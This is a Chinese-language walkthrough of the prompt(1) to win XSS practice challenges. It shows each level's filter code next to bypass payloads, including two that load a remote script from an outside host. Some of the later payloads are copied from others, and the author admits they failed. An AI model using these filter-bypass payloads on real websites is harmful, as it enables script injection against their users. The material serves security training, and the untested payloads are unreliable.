prompt(1) to win是一个xss练习平台。
链接地址:http://prompt.ml/0
规则:
1、成功执行prompt(1)即可获胜,payload不需要用户交互,若成功执行,界面会显示YOUWON。
2、每个payload均需要在以下浏览器测试:Chrome(最新版)、Firefox(最新版)、IE10
3、虽然大多数级别都具有所有浏览器解决方案,但有些可能没有。确保每个级别都有至少两个浏览器的解决方案。
4、最后但并非最不重要的一点是,有效载荷占用的字符较少。
Level 0 没有过滤
function escape(input) { // warm up // script should be executed without user interaction return \'<input type="text" value="\' + input + \'">\'; }
题目分析:没有任何过滤。
Payload:
"><script>prompt(1)</script><!--
Level 1 <内容>过滤
function escape(input) { // tags stripping mechanism from ExtJS library // Ext.util.Format.stripTags var stripTagsRE = /<\/?[^>]+>/gi; input = input.replace(stripTagsRE, \'\'); return \'<article>\' + input + \'</article>\'; }
题目分析:这里将<>之间进行匹配,然后替换成空,所以不能出现>。
Payload:
//可以用//注释绕过,相当于绕过了> <img src=1 onerror=prompt(1)// <body onload=prompt(1)// <svg/onload=prompt(1)
Level 2 =(过滤
function escape(input) { // v-- frowny face input = input.replace(/[=(]/g, \'\'); // ok seriously, disallows equal signs and open parenthesis return input; }
题目分析:过滤了等号=和右括号(。
Payload:
//使用SVG标签,会提前将将XML实体解析再加入标签。这里的 ( 是 ( 的Unicode编码。 <svg><script>prompt(1)</script> //调用js中的eval函数 <script>eval.call`${\'prompt\x281)\'}`</script> <script>eval.call`${\'alert\x281)\'}`</script> <script>eval`${alert`1`}`</script> <script>alert`1`</script>
Level 3 ->绕过
function escape(input) { // filter potential comment end delimiters input = input.replace(/->/g, \'_\'); // comment the input to avoid script execution return \'<!-- \' + input + \' -->\'; }
题目分析:这个是将->
替换成_
,并要求绕过注释。因此只要想办法闭合注释即可,html可以-->
或--!>
闭合注释。
Payload:
--!><script>prompt(1)</script>
Level 4 同源的正则过滤
function escape(input) { // make sure the script belongs to own site // sample script: http://prompt.ml/js/test.js if (/^(?:https?:)?\/\/prompt\.ml\//i.test(decodeURIComponent(input))) { var script = document.createElement(\'script\'); script.src = input; return script.outerHTML; } else { return \'Invalid resource.\'; } }
题目分析:这里通过限制src的值的开头必须为http://prompt.ml/,来达到src的值必须为同源的脚本的目的,查找资料发现可以利用url的特性绕过.
浏览器支持这样的url:user:password@attacker.com。意思是使用user:password登录到站点attacker.com.
举例如下:admin:123456@www.baidu.com,意即使用用户名admin和密码123456登录到百度站点。
当然这个url也可以简化为user@attacker.com,即省略密码。
因此我们在构造http://prompt.ml/@attacker.com类似的Payload,将http://prompt.ml/作为user,attack.com理所应当就是我们自己的服务器,这样就绕过了同源限制。
但是这个payload还不行,因为 / 出现在user中是不允许的。考虑到这里的正则特性和decodeURIComponent函数,所以可以使用%2f绕过。
Payload:
http://prompt.ml%2f@172.16.73.66/test/1.js
Level 5 input_value限制
function escape(input) { // apply strict filter rules of level 0 // filter ">" and event handlers input = input.replace(/>|on.+?=|focus/gi, \'_\'); return \'<input value="\' + input + \'" type="text">\'; }
题目分析:过滤了>
、onxxxx=
和focus
,所以在这里无法使用autofocus了。但是这里可以将input标签的type类型覆盖了,比如说将之覆盖成image类型,然后可以利用οnerrοr=,使用换行绕过即可。
Payload:
" type=image src onerror =prompt(1)
Level 6 表单提交action过滤
function escape(input) { // let\'s do a post redirection try { // pass in formURL#formDataJSON // e.g. http://httpbin.org/post#{"name":"Matt"} var segments = input.split(\'#\'); var formURL = segments[0]; var formData = JSON.parse(segments[1]); var form = document.createElement(\'form\'); form.action = formURL; form.method = \'post\'; for (var i in formData) { var input = form.appendChild(document.createElement(\'input\')); input.name = i; input.setAttribute(\'value\', formData[i]); } return form.outerHTML + \' \n\ <script> \n\ // forbid javascript: or vbscript: and data: stuff \n\ if (!/script:|data:/i.test(document.forms[0].action)) \n\ document.forms[0].submit(); \n\ else \n\ document.write("Action forbidden.") \n\ </script> \n\ \'; } catch (e) { return \'Invalid form data.\'; } }
题目分析:通过代码和注释可以看出来,题目构造post表单,我们需要输入的格式为formURL#formDataJSON,比如http://httpbin.org/post#{"name":"Matt"},具体过程是先提取formURL构造form表单,formURL赋值给form标签中的action,然后post内容构造input标签。
我们想嵌入代码,经常能见到类似action=”javascript:alert(1)”的内容,但是后面还过滤了document.form[0].action内容,过滤了script和data。如下图所示
但是过滤存在缺陷,由于存在子级tag,action 将会优先指向name为action的子tag。
所以我们在构造payload时,可以将input标签的name属性值设置为action,这样document.form[0].action指向的就不是form标签中的action了,因此过滤也就不起作用了。神奇吧。
Payload:
javascript:prompt(1)#{"action":"Matt"}
Level 7 连续输出长度限制
function escape(input) { // pass in something like dog#cat#bird#mouse... var segments = input.split(\'#\'); return segments.map(function(title) { // title can only contain 12 characters return \'<p class="comment" title="\' + title.slice(0, 12) + \'"></p>\'; }).join(\'\n\'); }
题目分析:题目根据#
分离,每一部分赋给一个title
,如果超过12字符,就截取前12个。举例
可以使用注释绕过长度限制
"><script>/*#*/prompt(1/*#*/)</script> "><svg/a=#"onload=\'/*#*/prompt(1)\'
Level 8 换行符过滤
function escape(input) { // prevent input from getting out of comment // strip off line-breaks and stuff input = input.replace(/[\r\n</"]/g, \'\'); return \' \n\ <script> \n\ // console.log("\' + input + \'"); \n\ </script> \'; }
题目分析:过滤了\r、\n、<、/、和"。返回了// console.log("\' + input + \'");。
所以需要绕过过滤规则逃脱出双引号或者本行。
这里过滤了两个换行符,所以用到了一个特殊的编码技巧:
U+2028,是Unicode中的行分隔符。 U+2029,是Unicode中的段落分隔符。 –> 在 js 中可当注释使用
很多人说原来的payload没用,我来告诉大家如何生成payload。
首先用chrome F12打开开发者选项,然后利用console模块,输入
\'\u2028prompt(1)\u2028-->\'
得到一个东西,将之复制下来就是payload!
Level 9
function escape(input) { // filter potential start-tags input = input.replace(/<([a-zA-Z])/g, \'<_$1\'); // use all-caps for heading input = input.toUpperCase(); // sample input: you shall not pass! => YOU SHALL NOT PASS! return \'<h1>\' + input + \'</h1>\'; }
题目分析:这里的正则表达式,将 < 后面的第一个字母前加 _ ,比如说将<script>这样的标签替换为<_SCRIPT>。
经过查资料发现这里的关键在于toUpperCase()不仅转换英文字母,也转换一些Unicode字符,比如将 ſ 传入就可以转换为 S ,这样就可以绕过。
直接构造<ſcript>prompt(1)</ſcript>不行,因为javascript对大小写敏感,,不识别PROMPT(1)。
所以构造的payload为<ſcript/ſrc="xxx/1.js"></ſcript>,经过转换后就成了<h1><SCRIPT/SRC="XXX/1.JS"></SCRIPT></h1>,成功加载远程的js脚本。
Level 10
function escape(input) { // (╯°□°)╯︵ ┻━┻ input = encodeURIComponent(input).replace(/prompt/g, \'alert\'); // ┬──┬ ノ( ゜-゜ノ) chill out bro input = input.replace(/\'/g, \'\'); // (╯°□°)╯︵ /(.□. \)DONT FLIP ME BRO return \'<script>\' + input + \'</script> \'; }
题目分析:进行了html编码,然后将prompt替换为alert,并且过滤了单引号。
注:encodeURIComponent()不会对 ASCII 字母和数字进行编码,也不会对这些 ASCII 标点符号进行编码: - _ . ! ~ * \' ( ) 。其他字符(比如:;/?:@&=+$,# 这些用于分隔 URI 组件的标点符号),都是由一个或多个十六进制的转义序列替换的。
Payload:
p\'rompt(1)
Level 11
function escape(input) { // name should not contain special characters var memberName = input.replace(/[[|\s+*/\\<>&^:;=~!%-]/g, \'\'); // data to be parsed as JSON var dataString = \'{"action":"login","message":"Welcome back, \' + memberName + \'."}\'; // directly "parse" data in script context return \' \n\ <script> \n\ var data = \' + dataString + \'; \n\ if (data.action === "login") \n\ document.write(data.message) \n\ </script> \'; }
题目分析:本题正则过滤了大量的符号。
第一个思路是利用js的一个特性进行绕过。在js中,键名相同,输出后值是后面的变量的值。
可以通过下面这个例子来理解
>var array={"n":1,"n":2} >array.n >2
因此构造思路是构造 ","message":"prompt(1)" ,可是正则表达式中过滤了冒号,所以这种方法不可取,只能另想办法。
另一个思路是,利用js的一个神奇的语法。
在js中,(prompt(1))instanceof"1"和 (prompt(1))in"1" 是可以成功弹窗的(可以自己在console试一下),其中双引号里面的1可以是任何字符,这里的in或者instanceof是运算符,所以可以有这样的语法结构。
Payload:
"(prompt(1))in" "(prompt(1))instanceof"
另外补充一个知识点,"1"(alert(1))虽然会提示语法错误, 但是还是会执行js语句弹框。
Level 12
function escape(input) { // in Soviet Russia... input = encodeURIComponent(input).replace(/\'/g, \'\'); // table flips you! input = input.replace(/prompt/g, \'alert\'); // ノ┬─┬ノ ︵ ( \o°o)\ return \'<script>\' + input + \'</script> \'; }
题目分析:跟第0x10题好像,但是过滤了\',所以只能试试编码或是函数,想到sql中有那种利用函数转换成字符的,尝试一下
Payload:
eval((630038579).toString(30))(1)
还有很多可以构造的
eval((1172936279).toString(34).concat(String.fromCharCode(40)).concat(1).concat(String.fromCharCode(41))) eval((25).toString(30).concat(String.fromCharCode(114)).concat(String.fromCharCode(111)).concat(String.fromCharCode(109)).concat(String.fromCharCode(112)).concat(String.fromCharCode(116)).concat(String.fromCharCode(40)).concat(1).concat(String.fromCharCode(41)))
在控制台输入for((i)in(self))console.log(i),可以看到self包含了所有当前窗体的函数和变量,执行window.self也可以获得一样的结果。
Level 13
function escape(input) { // extend method from Underscore library // _.extend(destination, *sources) function extend(obj) { var source, prop; for (var i = 1, length = arguments.length; i < length; i++) { source = arguments[i]; for (prop in source) { obj[prop] = source[prop]; } } return obj; } // a simple picture plugin try { // pass in something like {"source":"http://sandbox.prompt.ml/PROMPT.JPG"} var data = JSON.parse(input); var config = extend({ // default image source source: \'http://placehold.it/350x150\' }, JSON.parse(input)); // forbit invalid image source if (/[^\w:\/.]/.test(config.source)) { delete config.source; } // purify the source by stripping off " var source = config.source.replace(/"/g, \'\'); // insert the content using mustache-ish template return \'<img src="{{source}}">\'.replace(\'{{source}}\', source); } catch (e) { return \'Invalid image data.\'; } }
题目分析:JSON.parse()函数要接受一个json格式的字符串返回json格式的对象,如果传入的参数已经是json格式则会抛出异常,传入的参数被解析成json格式,格式不对则直接返回Invalid image data.,再经由extend()函数处理,extend()函数把默认值替换为指定的值后返回,然后是一个正则判断source对应的值中是否有不属于url的符号,有则删去这个值,将source属性删除。
每个对象都会在其内部初始化一个属性,就是proto,当我们访问对象的属性时,如果对象内部不存在这个属性,那么就会去proto里面找这个属性。
举例测试:
b={"a":1,"__proto__":{"a":2}}
那么基本上就是构造{"source":"\'","__proto__":{"source":"onerror=prompt(1)"}},由于前面有非法字符\',则会删除,但是在替换的时候由于过滤了",无法闭合,那么正好有一种特殊的替换方式
测试一下
Payload:
{"source":"\'","__proto__":{"source":"$`onerror=prompt(1)>"}}
太巧妙了!
Level 14
function escape(input) { // I expect this one will have other solutions, so be creative :) // mspaint makes all file names in all-caps :( // too lazy to convert them back in lower case // sample input: prompt.jpg => PROMPT.JPG input = input.toUpperCase(); // only allows images loaded from own host or data URI scheme input = input.replace(/\/\/|\w+:/g, \'data:\'); // miscellaneous filtering input = input.replace(/[\\&+%\s]|vbs/gi, \'_\'); return \'<img src="\' + input + \'">\'; }
题目分析:函数先把输入转换为大写,第二层将//和字母换为data:,第三层将\\、&、+、%和空白字符,vbs替换为_,所以不能内嵌编码后的字符,由于js大小写敏感,所以只能引用外部脚本。Data URI是由RFC 2397定义的一种把小文件直接嵌入文档的方案。格式如下:
data:[<MIME type>][;charset=<charset>][;base64],<encoded data>
其实整体可以视为三部分,即声明:参数+数据,逗号左边的是各种参数,右边的是数据。
MIME type,表示数据呈现的格式,即指定嵌入数据的MIME。
- 1、对于PNG的图片,其格式是image/png,如果没有指定,默认是text/plain。
- 2、character set(字符集)大多数被忽略,默认是charset=US-ASCII。如果指定是的数据格式是图片时,字符集将不再使用。
- 3、base64,这一部分将表明其数据的编码方式,此处为声明后面的数据的编码是base64,我们可以不必使用base64编码格式,如果那样,我们将使用标准的URL编码方式,形如%XX%XX%XX的格式。
由于本题的输入全被转换成大写的,正常的payload是无法被解析,老实说这题的官方答案都无法成功执行,看解释的大概意思我猜是火狐浏览器是可以支持大写的base64的解析,然后精心构造一个大写的base64编码,解码后恰好可以达到上面的效果,便能够成功执行,但是我实验后是失败的,我看其他人的wp也都说失败了,不是很清楚具体原因是什么。
参考Payload:
"><IFRAME/SRC="x:text/html;base64,ICA8U0NSSVBUIC8KU1JDCSA9SFRUUFM6UE1UMS5NTD4JPC9TQ1JJUFQJPD4=
Level 15
function escape(input) { // sort of spoiler of level 7 input = input.replace(/\*/g, \'\'); // pass in something like dog#cat#bird#mouse... var segments = input.split(\'#\'); return segments.map(function(title, index) { // title can only contain 15 characters return \'<p class="comment" title="\' + title.slice(0, 15) + \'" data-comment=\\'{"id":\' + index + \'}\\'></p>\'; }).join(\'\n\'); }
题目分析:跟Level 7差不多,但是过滤了/*,这样就是构造关于<!---->的注释即可
Payload:
(1)不太明白为什么前面一定要加<svg>标签才会执行 "><svg><!--#--><script><!--#-->prompt(1<!--#-->)</script> (2)在FireFox和IE浏览器,最后的</script>不必要 "><svg><!--#--><script><!--#-->prompt(1)</ (3)还有一种利用模板字符串的方法 "><script>`#${prompt(1)}#`</script>
模板字符串 知识点:
1.反撇号字符 ` 代替普通字符串的引号 \' 或 ",提供了字符串插值功能
2.${x}被称为模板占位符,JavaScript 将把 x 的值插入到最终生成的字符串中,也就是说`abcd${alert(1)}efgh`是可以正常执行的
参考:
http://www.infoq.com/cn/articles/es6-in-depth-template-string
https://en.wikipedia.org/wiki/String_interpolation
PS:以下3关直接copy了大神的答案,结果既没执行成功,又没看懂,我太难了!!!
Hidden Level -1
function escape(input) { // WORLD -1 // strip off certain characters from breaking conditional statement input = input.replace(/[}<]/g, \'\'); return \' \n\ <script> \n\ if (history.length > 1337) { \n\ // you can inject any code here \n\ // as long as it will be executed \n\ {{injection}} \n\ } \n\ </script> \n\ \'.replace(\'{{injection}}\', input); }
题目分析:这里可以看到过滤了<,},而且判断长度必须大于1337,所以用到js函数提升,还用到了一个前面提到的关于replace的匹配技巧。
参考:https://blog.csdn.net/qq_39712029/article/details/80951958
在console测试一下如下代码:
function history(A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A){ alert(\'Function declared with \' + history.length + " parameters"); } history();
看来是可以绕过大于1337,之后利用$&
来替换prompt(1)
参考Payload:
function history(A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A)$&prompt(1)we
竟然没成功。。。
Hidden Level -2
function escape(input) { // Christmas special edition! // Ho ho ho these characters are in Santa\'s naughty list input = input.replace(/[!=*`]/g, \'\'); // pass in your wishes like pets#toys#half-life3... var segments = input.split(\'#\'); return segments.map(function(title, index) { // Don\'t be greedy! Each present can only contain 20 characters return \'<p class="present" title="\' + title.slice(0, 20) + \'"></p>\'; }).join(\'\n\'); }
参考Payload:
"><script>@if(0)#@end;prompt(1)@if(0)#@end</script>
Hidden Level -3
function escape(input) { // I iz fabulous cat // cat hatez dem charz var query = input.replace(/[&#>]/g, \'\'); var script = document.createElement(\'script\'); // find me on Twttr script.src = \'https://cdn.syndication.twitter.com/widgets/tweetbutton/count.json?url=\' + query + \'&callback=swag\'; return \'<input name="query" type="hidden" value="\' + query + \'">\' + script.outerHTML; }
参考Payload:
"onclick=prompt(1) id="a";callback=a.click;
参考:
https://blog.csdn.net/qq_35078631/article/details/77073233
https://blog.csdn.net/Ni9htMar3/article/details/77938899?utm_source=blogxgwz1